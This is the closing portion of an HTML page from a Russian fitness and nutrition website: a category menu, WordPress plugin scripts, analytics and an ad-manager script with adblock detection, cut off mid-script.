<!-- Yandex.Metrika counter --> <script type="text/javascript" > (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter36932795 = new Ya.Metrika({ id:36932795, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/36932795" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
<img alt="Сообщить об ошибке" src="https://proteinfo.ru/wp-content/themes/proteinfo/images/mis.png" border="0" >
<!--/noindex-->
					</div>
							
				</div>
			</div>	
		</div>
	</div>
</div>

<div class="goto_top_scroll_page"></div>
<script type="text/javascript" src="https://proteinfo.ru/wp-content/themes/proteinfo/js/js.js"></script>
<script type="text/javascript" src="https://proteinfo.ru/wp-content/themes/proteinfo/js/bootstrap.min.js"></script>
<script type="text/javascript" src="https://proteinfo.ru/wp-content/themes/proteinfo/js/owl.carousel.min.js"></script>
<script type="text/javascript" src="https://proteinfo.ru/wp-content/themes/proteinfo/js/trim.js"></script>

<script type="text/javascript">// <![CDATA[
if (typeof(jQuery) == 'function') {
$j = jQuery.noConflict();
var $float_block = $j('#asbseo');
var $float_bottom = $j('#footer');
var sdb_float_fixtop = 15;
var float_bottom_limit = $float_bottom.offset().top-20;
setTimeout(function(){ float_bottom_limit = $float_bottom.offset().top-20; }, 2500); // а?аЕб?аЕб?б?аИб?аАаЕаМ б?аПб?б?б?б? аВб?аЕаМб?
var float_top_init = $float_block.offset().top;
var sdb_float_position = $float_block.position();
var float_block_height = $float_block.height()+sdb_float_fixtop;
var sdb_move_last = false;
var float_lift = 0; // аПаОаДаНаИаМаАаЕб? аБаЛаОаК, аКаОаГаДаА аОаН б?аПаИб?аАаЕб?б?б? аВаО float_bottom
var float_lift_complete = false;
$j(window).bind('scroll resize', function () {
if (float_bottom_limit - float_top_init - float_block_height < 100) return; var sdb_move = ($j(window).scrollTop() > float_top_init - sdb_float_fixtop);
if (sdb_move) {
float_lift = float_bottom_limit - $j(window).scrollTop() - (float_block_height-sdb_float_fixtop);
if (float_lift < 0) { $float_block.css('top', float_lift); float_lift_complete = true; }
// аКаОаГаДаА аПаОаДаНаИаМаАб?б? аНаЕ аНаАаДаО, б?б?б?аАаНаАаВаЛаИаВаАаЕб?б?б? аНаАб?аАаЛб?аНаОаЕ аЗаНаАб?аЕаНаИаЕ аВаЕб?б?аНаЕаГаО аОб?б?б?б?аПаА
else if (float_lift_complete) { $float_block.css('top', sdb_float_fixtop); float_lift_complete = false; }
}
if (sdb_move_last != sdb_move) {
sdb_move_last = sdb_move;
if (sdb_move) {
$float_block.css({'position':'fixed', 'top':sdb_float_fixtop});
} else { $float_block.css('position', 'static'); }
}
});
$j(window).scroll();
}
// ]]></script>

	

			<div class="wprm-wrapper">
        
        <!-- Overlay Starts here -->
			         <!-- Overlay Ends here -->
			
			         <div id="wprmenu_bar" class="wprmenu_bar  left">
  <div class="hamburger hamburger--slider">
    <span class="hamburger-box">
      <span class="hamburger-inner"></span>
    </span>
  </div>
  <div class="menu_title">
      <a href="https://proteinfo.ru">
      Меню    </a>
      </div>
</div>			 
			<div class="cbp-spmenu cbp-spmenu-vertical cbp-spmenu-left  " id="mg-wprm-wrap">
				
				
				<ul id="wprmenu_menu_ul">
  
  <li id="menu-item-6749" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6749"><a>Главная</a></li>
<li id="menu-item-5967" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-5967"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/">Упражнения</a>
<ul class="sub-menu">
	<li id="menu-item-5985" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5985"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/v-domashnix-usloviyax/">В домашних условиях</a></li>
	<li id="menu-item-5986" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5986"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/grud/">Грудь</a></li>
	<li id="menu-item-5987" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5987"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/na-trenazhyorax/">На тренажёрах</a></li>
	<li id="menu-item-5988" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5988"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/nogi/">Ноги</a></li>
	<li id="menu-item-5989" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5989"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/plechi/">Плечи</a></li>
	<li id="menu-item-5990" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5990"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/press-i-kosye/">Пресс и косые</a></li>
	<li id="menu-item-5991" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5991"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/ruki/">Руки</a></li>
	<li id="menu-item-5992" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5992"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/so-svobodnym-vesom/">Со свободным весом</a></li>
	<li id="menu-item-5993" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5993"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/spina-i-sheya/">Спина и шея</a></li>
	<li id="menu-item-5994" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5994"><a href="https://proteinfo.ru/uprazhneniya-i-trenirovki/yagodicy/">Ягодицы</a></li>
</ul>
</li>
<li id="menu-item-5965" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-5965"><a href="https://proteinfo.ru/voprosy-pitaniya/">Здоровое питание</a>
<ul class="sub-menu">
	<li id="menu-item-6750" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6750"><a href="https://proteinfo.ru/voprosy-pitaniya/diety/">Диеты</a></li>
	<li id="menu-item-6751" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6751"><a href="https://proteinfo.ru/voprosy-pitaniya/osnovy-pitaniya/">Основы питания</a></li>
	<li id="menu-item-6752" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6752"><a href="https://proteinfo.ru/voprosy-pitaniya/pitatelnye-elementy/">Питательные элементы</a></li>
	<li id="menu-item-6753" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6753"><a href="https://proteinfo.ru/voprosy-pitaniya/poxudenie/">Похудение</a></li>
	<li id="menu-item-6754" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6754"><a href="https://proteinfo.ru/voprosy-pitaniya/produkty-i-sostav/">Продукты и состав</a></li>
</ul>
</li>
<li id="menu-item-5964" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-has-children menu-item-5964"><a href="https://proteinfo.ru/baza-znanij/">Спортпит</a>
<ul class="sub-menu">
	<li id="menu-item-5973" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5973"><a href="https://proteinfo.ru/baza-znanij/aminokisloty/">Аминокислоты</a></li>
	<li id="menu-item-5974" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5974"><a href="https://proteinfo.ru/baza-znanij/vsaa/">ВСАА</a></li>
	<li id="menu-item-5975" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5975"><a href="https://proteinfo.ru/baza-znanij/gejner/">Гейнер</a></li>
	<li id="menu-item-5976" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5976"><a href="https://proteinfo.ru/baza-znanij/glyutamin/">Глютамин</a></li>
	<li id="menu-item-5977" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5977"><a href="https://proteinfo.ru/baza-znanij/zhiroszhigateli/">Жиросжигатели</a></li>
	<li id="menu-item-5978" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5978"><a href="https://proteinfo.ru/baza-znanij/kreatin/">Креатин</a></li>
	<li id="menu-item-5979" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5979"><a href="https://proteinfo.ru/baza-znanij/ozdorovlenie/">Оздоровление</a></li>
	<li id="menu-item-5980" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5980"><a href="https://proteinfo.ru/baza-znanij/predtreny/">Предтрены</a></li>
	<li id="menu-item-5981" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5981"><a href="https://proteinfo.ru/baza-znanij/protein/">Протеин</a></li>
	<li id="menu-item-5982" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5982"><a href="https://proteinfo.ru/baza-znanij/sport_batonchik/">Спорт. батончики</a></li>
	<li id="menu-item-5983" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5983"><a href="https://proteinfo.ru/baza-znanij/testobustery/">Тестобустеры</a></li>
	<li id="menu-item-5984" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5984"><a href="https://proteinfo.ru/baza-znanij/energetiki-i-predtreny/">Энергетики</a></li>
</ul>
</li>
<li id="menu-item-5963" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5963"><a href="https://proteinfo.ru/anatomiya/">Анатомия</a></li>
<li id="menu-item-5968" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5968"><a href="https://proteinfo.ru/slovar-terminov/">Словарь терминов</a></li>
<li id="menu-item-11581" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11581"><a href="https://proteinfo.ru/dnevnik/">Мой дневник</a></li>
<li id="menu-item-5970" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5970"><a href="https://proteinfo.ru/kalkulyator/">Калоризатор</a></li>
<li id="menu-item-13794" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-13794"><a href="https://proteinfo.ru/krasota-i-zdorovie/">Красота и здоровье</a></li>
<li id="menu-item-5969" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-5969"><a href="https://proteinfo.ru/konsultacii/">Консультации эксперта</a></li>
<li id="menu-item-11313" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11313"><a href="https://proteinfo.ru/kontakty/">Контакты</a></li>

     
</ul>
				
				</div>
			</div>
			        <script type="text/javascript">
            (function(){
                document.addEventListener('DOMContentLoaded', function(){
                    let wpp_widgets = document.querySelectorAll('.popular-posts-sr');

                    if ( wpp_widgets ) {
                        for (let i = 0; i < wpp_widgets.length; i++) {
                            let wpp_widget = wpp_widgets[i];
                            WordPressPopularPosts.theme(wpp_widget);
                        }
                    }
                });
            })();
        </script>
                <script>
            var WPPImageObserver = null;

            function wpp_load_img(img) {
                if ( ! 'imgSrc' in img.dataset || ! img.dataset.imgSrc )
                    return;

                img.src = img.dataset.imgSrc;

                if ( 'imgSrcset' in img.dataset ) {
                    img.srcset = img.dataset.imgSrcset;
                    img.removeAttribute('data-img-srcset');
                }

                img.classList.remove('wpp-lazyload');
                img.removeAttribute('data-img-src');
                img.classList.add('wpp-lazyloaded');
            }

            function wpp_observe_imgs(){
                let wpp_images = document.querySelectorAll('img.wpp-lazyload'),
                    wpp_widgets = document.querySelectorAll('.popular-posts-sr');

                if ( wpp_images.length || wpp_widgets.length ) {
                    if ( 'IntersectionObserver' in window ) {
                        WPPImageObserver = new IntersectionObserver(function(entries, observer) {
                            entries.forEach(function(entry) {
                                if (entry.isIntersecting) {
                                    let img = entry.target;
                                    wpp_load_img(img);
                                    WPPImageObserver.unobserve(img);
                                }
                            });
                        });

                        if ( wpp_images.length ) {
                            wpp_images.forEach(function(image) {
                                WPPImageObserver.observe(image);
                            });
                        }

                        if ( wpp_widgets.length ) {
                            for (var i = 0; i < wpp_widgets.length; i++) {
                                let wpp_widget_images = wpp_widgets[i].querySelectorAll('img.wpp-lazyload');

                                if ( ! wpp_widget_images.length && wpp_widgets[i].shadowRoot ) {
                                    wpp_widget_images = wpp_widgets[i].shadowRoot.querySelectorAll('img.wpp-lazyload');
                                }

                                if ( wpp_widget_images.length ) {
                                    wpp_widget_images.forEach(function(image) {
                                        WPPImageObserver.observe(image);
                                    });
                                }
                            }
                        }
                    } /** Fallback for older browsers */
                    else {
                        if ( wpp_images.length ) {
                            for (var i = 0; i < wpp_images.length; i++) {
                                wpp_load_img(wpp_images[i]);
                                wpp_images[i].classList.remove('wpp-lazyloaded');
                            }
                        }

                        if ( wpp_widgets.length ) {
                            for (var j = 0; j < wpp_widgets.length; j++) {
                                let wpp_widget = wpp_widgets[j],
                                    wpp_widget_images = wpp_widget.querySelectorAll('img.wpp-lazyload');

                                if ( ! wpp_widget_images.length && wpp_widget.shadowRoot ) {
                                    wpp_widget_images = wpp_widget.shadowRoot.querySelectorAll('img.wpp-lazyload');
                                }

                                if ( wpp_widget_images.length ) {
                                    for (var k = 0; k < wpp_widget_images.length; k++) {
                                        wpp_load_img(wpp_widget_images[k]);
                                        wpp_widget_images[k].classList.remove('wpp-lazyloaded');
                                    }
                                }
                            }
                        }
                    }
                }
            }

            document.addEventListener('DOMContentLoaded', function() {
                wpp_observe_imgs();

                // When an ajaxified WPP widget loads,
                // Lazy load its images
                document.addEventListener('wpp-onload', function(){
                    wpp_observe_imgs();
                });
            });
        </script>
        <script type='text/javascript'>
/* <![CDATA[ */
var wpcf7 = {"apiSettings":{"root":"https:\/\/proteinfo.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"},"cached":"1"};
/* ]]> */
</script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.6'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var tocplus = {"smooth_scroll":"1"};
/* ]]> */
</script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/table-of-contents-plus/front.min.js?ver=2002'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var thirsty_global_vars = {"home_url":"\/\/proteinfo.ru","ajax_url":"https:\/\/proteinfo.ru\/wp-admin\/admin-ajax.php","link_fixer_enabled":"yes","link_prefix":"recommends","link_prefixes":["recommends"],"post_id":"14515","enable_record_stats":"yes","enable_js_redirect":"","disable_thirstylink_class":""};
/* ]]> */
</script>
<script type='text/javascript' src='https://proteinfo.ru/wp-content/plugins/thirstyaffiliates/js/app/ta.js?ver=3.9.3'></script>
<script type='text/javascript' src='https://proteinfo.ru/mistakes/mistakes.js?ver=20180306'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var a3_lazyload_params = {"apply_images":"1","apply_videos":"1"};
/* ]]> */
</script>
<script type='text/javascript' src='//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.extra.min.js?ver=2.3.2'></script>
<script type='text/javascript' src='//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.srcset.min.js?ver=2.3.2'></script>
<script type='text/javascript'>
/* <![CDATA[ */
var a3_lazyload_extend_params = {"edgeY":"0","horizontal_container_classnames":""};
/* ]]> */
</script>
<script type='text/javascript' src='//proteinfo.ru/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.extend.js?ver=2.3.2'></script>
<script type='text/javascript' src='https://proteinfo.ru/wp-includes/js/wp-embed.min.js?ver=5.4.6'></script>
<ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins>
<style>
.arcticmodal-overlay,.arcticmodal-container{position:fixed;left:0;top:0;right:0;bottom:0;z-index:1000}
.arcticmodal-container{overflow:auto;margin:0;padding:0;border:0;border-collapse:collapse}
:first-child+html .arcticmodal-container{height:100%}
.arcticmodal-container_i{height:100%;margin:0 auto;width:auto}
.arcticmodal-container_i2{vertical-align:middle!important;border:none!important}
.flat_pm_1_modal{min-width:200px;min-height:100px;position:relative;background:#fff}
.flat_pm_1_modal .flat_pm_1_timer,
.flat_pm_1_modal .flat_pm_1_cross{top:0!important}
.flat_pm_1_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99999;border:none;padding:0;min-width:0;min-height:0}
.flat_pm_1_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset}
.flat_pm_1_cross:after,.flat_pm_1_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto}
.flat_pm_1_cross:before{transform:rotate(-45deg)}
.flat_pm_1_cross:hover:after{transform:rotate(225deg)}
.flat_pm_1_cross:hover:before{transform:rotate(135deg)}
.flat_pm_1_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px}
.flat_pm_1_timer span{font-size:16px;font-weight:600}
.flat_pm_1_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden}
.flat_pm_1_out *{max-width:none!important}
.flat_pm_1_out.top .flat_pm_1_cross{top:auto;bottom:150px}
.flat_pm_1_out.show.top .flat_pm_1_cross{bottom:-0px}
.flat_pm_1_out.bottom .flat_pm_1_cross{top:150px}
.flat_pm_1_out.show.bottom .flat_pm_1_cross{top:-0px}
.flat_pm_1_out.right .flat_pm_1_cross{right:auto;left:0}
.flat_pm_1_out.top .flat_pm_1_timer{top:auto;bottom:150px}
.flat_pm_1_out.show.top .flat_pm_1_timer{bottom:-0px}
.flat_pm_1_out.bottom .flat_pm_1_timer{top:150px}
.flat_pm_1_out.show.bottom .flat_pm_1_timer{top:-0px}
.flat_pm_1_out.right .flat_pm_1_timer{right:auto;left:0}
.flat_pm_1_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px}
.flat_pm_1_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px}
.flat_pm_1_out.left{bottom:0;right:100%;transform:translateX(0)}
.flat_pm_1_out.right{bottom:0;left:100%;transform:translateX(0)}
.flat_pm_1_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff}
.flat_pm_1_out.closed{min-width:0;min-height:0}
.flat_pm_1_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px}
.flat_pm_1_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px}
.flat_pm_1_out.show.left{transform:translateX(100%)}
.flat_pm_1_out.show.right{transform:translateX(-100%)}
.flatpm_fixed{position:fixed;z-index:50}
.flatpm_stop{position:relative;z-index:50}
</style>
<script>function flatPM_arcticmodalLoad(){var i,o,l,d,s,u,f;i=jQuery,o={type:"html",content:"",url:"",ajax:{},ajax_request:null,closeOnEsc:!0,closeOnOverlayClick:!0,clone:!1,overlay:{block:void 0,tpl:'<div class="arcticmodal-overlay"></div>',css:{backgroundColor:"#000",opacity:.6}},container:{block:void 0,tpl:'<div class="arcticmodal-container"><table class="arcticmodal-container_i"><tr><td class="arcticmodal-container_i2"></td></tr></table></div>'},wrap:void 0,body:void 0,errors:{tpl:'<div class="arcticmodal-error arcticmodal-close"></div>',autoclose_delay:2e3,ajax_unsuccessful_load:"Error"},openEffect:{type:"fade",speed:400},closeEffect:{type:"fade",speed:400},beforeOpen:i.noop,afterOpen:i.noop,beforeClose:i.noop,afterClose:i.noop,afterLoading:i.noop,afterLoadingOnShow:i.noop,errorLoading:i.noop},l=0,d=i([]),s=function(e,t){var o=!0;return i(e).each(function(){i(t.target).get(0)==i(this).get(0)&&(o=!1),0==i(t.target).closest("HTML",i(this).get(0)).length&&(o=!1)}),o},u={getParentEl:function(e){var t=i(e);return t.data("arcticmodal")?t:!!(t=i(e).closest(".arcticmodal-container").data("arcticmodalParentEl"))&&t},transition:function(e,t,o,r){switch(r=null==r?i.noop:r,o.type){case"fade":"show"==t?e.fadeIn(o.speed,r):e.fadeOut(o.speed,r);break;case"none":"show"==t?e.show():e.hide(),r()}},prepare_body:function(e,t){i(".arcticmodal-close",e.body).unbind("click.arcticmodal").bind("click.arcticmodal",function(){return t.arcticmodal("close"),!1})},init_el:function(t,e){var o,r,a,n=t.data("arcticmodal");if(!n){if(l++,(n=e).modalID=l,n.overlay.block=i(n.overlay.tpl),n.overlay.block.css(n.overlay.css),n.container.block=i(n.container.tpl),n.body=i(".arcticmodal-container_i2",n.container.block),e.clone?n.body.html(t.clone(!0)):(t.before('<div id="arcticmodalReserve'+n.modalID+'" style="display: none" />'),n.body.html(t)),u.prepare_body(n,t),n.closeOnOverlayClick&&n.overlay.block.add(n.container.block).click(function(e){s(i(">*",n.body),e)&&t.arcticmodal("close")}),n.container.block.data("arcticmodalParentEl",t),t.data("arcticmodal",n),d=i.merge(d,t),i.proxy(f.show,t)(),"html"==n.type)return t;null!=n.ajax.beforeSend&&(o=n.ajax.beforeSend,delete n.ajax.beforeSend),null!=n.ajax.success&&(r=n.ajax.success,delete n.ajax.success),null!=n.ajax.error&&(a=n.ajax.error,delete n.ajax.error);var c=i.extend(!0,{url:n.url,beforeSend:function(){null==o?n.body.html('<div class="arcticmodal-loading" />'):o(n,t)},success:function(e){t.trigger("afterLoading"),n.afterLoading(n,t,e),null==r?n.body.html(e):r(n,t,e),u.prepare_body(n,t),t.trigger("afterLoadingOnShow"),n.afterLoadingOnShow(n,t,e)},error:function(){t.trigger("errorLoading"),n.errorLoading(n,t),null==a?(n.body.html(n.errors.tpl),i(".arcticmodal-error",n.body).html(n.errors.ajax_unsuccessful_load),i(".arcticmodal-close",n.body).click(function(){return t.arcticmodal("close"),!1}),n.errors.autoclose_delay&&setTimeout(function(){t.arcticmodal("close")},n.errors.autoclose_delay)):a(n,t)}},n.ajax);n.ajax_request=i.ajax(c),t.data("arcticmodal",n)}},init:function(e){if(e=i.extend(!0,{},o,e),!i.isFunction(this))return this.each(function(){u.init_el(i(this),i.extend(!0,{},e))});if(null!=e)if(""!=e.type)switch(e.type){case"html":if(""==e.content)return void i.error('jquery.arcticmodal: Don\'t set parameter "content"');var t=e.content;return e.content="",u.init_el(i(t),e);case"ajax":return""==e.url?void i.error('jquery.arcticmodal: Don\'t set parameter "url"'):u.init_el(i("<div />"),e)}else i.error('jquery.arcticmodal: Don\'t set parameter "type"');else i.error("jquery.arcticmodal: Uncorrect parameters")}},f={show:function(){var e=u.getParentEl(this);if(!1!==e){var t,o,r=e.data("arcticmodal");return r.overlay.block.hide(),r.container.block.hide(),i("BODY").append(r.overlay.block),i("BODY").append(r.container.block),r.beforeOpen(r,e),e.trigger("beforeOpen"),"hidden"!=r.wrap.css("overflow")&&(r.wrap.data("arcticmodalOverflow",r.wrap.css("overflow")),t=r.wrap.outerWidth(!0),r.wrap.css("overflow","hidden"),(o=r.wrap.outerWidth(!0))!=t&&r.wrap.css("marginRight",o-t+"px")),d.not(e).each(function(){i(this).data("arcticmodal").overlay.block.hide()}),u.transition(r.overlay.block,"show",1<d.length?{type:"none"}:r.openEffect),u.transition(r.container.block,"show",1<d.length?{type:"none"}:r.openEffect,function(){r.afterOpen(r,e),e.trigger("afterOpen")}),e}i.error("jquery.arcticmodal: Uncorrect call")},close:function(){return i.isFunction(this)?void d.each(function(){i(this).arcticmodal("close")}):this.each(function(){var e,t=u.getParentEl(this);!1!==t?!1!==(e=t.data("arcticmodal")).beforeClose(e,t)&&(t.trigger("beforeClose"),d.not(t).last().each(function(){i(this).data("arcticmodal").overlay.block.show()}),u.transition(e.overlay.block,"hide",1<d.length?{type:"none"}:e.closeEffect),u.transition(e.container.block,"hide",1<d.length?{type:"none"}:e.closeEffect,function(){e.afterClose(e,t),t.trigger("afterClose"),e.clone||i("#arcticmodalReserve"+e.modalID).replaceWith(e.body.find(">*")),e.overlay.block.remove(),e.container.block.remove(),t.data("arcticmodal",null),i(".arcticmodal-container").length||(e.wrap.data("arcticmodalOverflow")&&e.wrap.css("overflow",e.wrap.data("arcticmodalOverflow")),e.wrap.css("marginRight",0))}),"ajax"==e.type&&e.ajax_request.abort(),d=d.not(t)):i.error("jquery.arcticmodal: Uncorrect call")})},setDefault:function(e){i.extend(!0,o,e)}},i(function(){o.wrap=i(document.all&&!document.querySelector?"html":"body")}),i(document).bind("keyup.arcticmodal",function(e){var t=d.last();t.length&&t.data("arcticmodal").closeOnEsc&&27===e.keyCode&&t.arcticmodal("close")}),i.arcticmodal=i.fn.arcticmodal=function(e){return f[e]?f[e].apply(this,Array.prototype.slice.call(arguments,1)):"object"!=typeof e&&e?void i.error("jquery.arcticmodal: Method "+e+" does not exist"):u.init.apply(this,arguments)}}window.onerror=function(){return!0};var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,lighthouseMode="undefined"!=typeof lighthouseFlatPM&&lighthouseFlatPM;function flatPM_sticky(e,c,t){var i=e,l=null,d=t=t||0;function o(){if(null==l){for(var e=getComputedStyle(i,""),t="",o=0;o<e.length;o++)0!=e[o].indexOf("overflow")&&0!=e[o].indexOf("padding")&&0!=e[o].indexOf("border")&&0!=e[o].indexOf("outline")&&0!=e[o].indexOf("box-shadow")&&0!=e[o].indexOf("background")||(t+=e[o]+": "+e.getPropertyValue(e[o])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+i.offsetWidth+"px;",i.insertBefore(l,i.firstChild);for(var r=i.childNodes.length,o=1;o<r;o++)l.appendChild(i.childNodes[1]);i.style.padding="0",i.style.border="0"}i.style.height=l.getBoundingClientRect().height+"px";var a=i.getBoundingClientRect(),n=Math.round(a.top+l.getBoundingClientRect().height-c.getBoundingClientRect().bottom);a.top-d<=0?a.top-d<=n?(l.className="flatpm_stop",l.style.top=-n+"px"):(l.className="flatpm_fixed",l.style.top=d+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){i.children[0].style.width=getComputedStyle(i,"").width},!1)}window.addEventListener("scroll",o,!1),document.body.addEventListener("scroll",o,!1)}function flatPM_addDays(e,t){var o,r=60*e.getTimezoneOffset()*1e3,a=e.getTime(),n=new Date;return a+=864e5*t,n.setTime(a),r!=(o=60*n.getTimezoneOffset()*1e3)&&(a+=o-r,n.setTime(a)),n}function flatPM_adbDetect(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;var t=e.currentStyle||window.getComputedStyle(e,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)}function flatPM_setCookie(e,t,o){var r,a=(o=o||{path:"/"}).expires;"number"==typeof a&&a&&((r=new Date).setTime(r.getTime()+1e3*a),a=o.expires=r),a&&a.toUTCString&&(o.expires=a.toUTCString());var n=e+"="+(t=encodeURIComponent(t));for(var c in o){n+="; "+c;var i=o[c];!0!==i&&(n+="="+i)}document.cookie=n}function flatPM_getCookie(r){var e=document.cookie.split("; ").reduce(function(e,t){var o=t.split("=");return o[0]===r?decodeURIComponent(o[1]):e},"");return""!=e?e:void 0}function flatPM_testCookie(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}}function flatPM_grep(e,o,r){return ff.grep(e,function(e,t){return r?t==o:(t+1)%o==0})}function flatPM_random(e,t){return Math.floor(Math.random()*(t-e+1))+e}document['wri'+'te']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()};</script>
<script>var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str,r=t[o].prop;if(this.verString=t[o].ver||t[o].id,a){if(-1!=a.indexOf(t[o].subStr))return t[o].id}else if(r)return 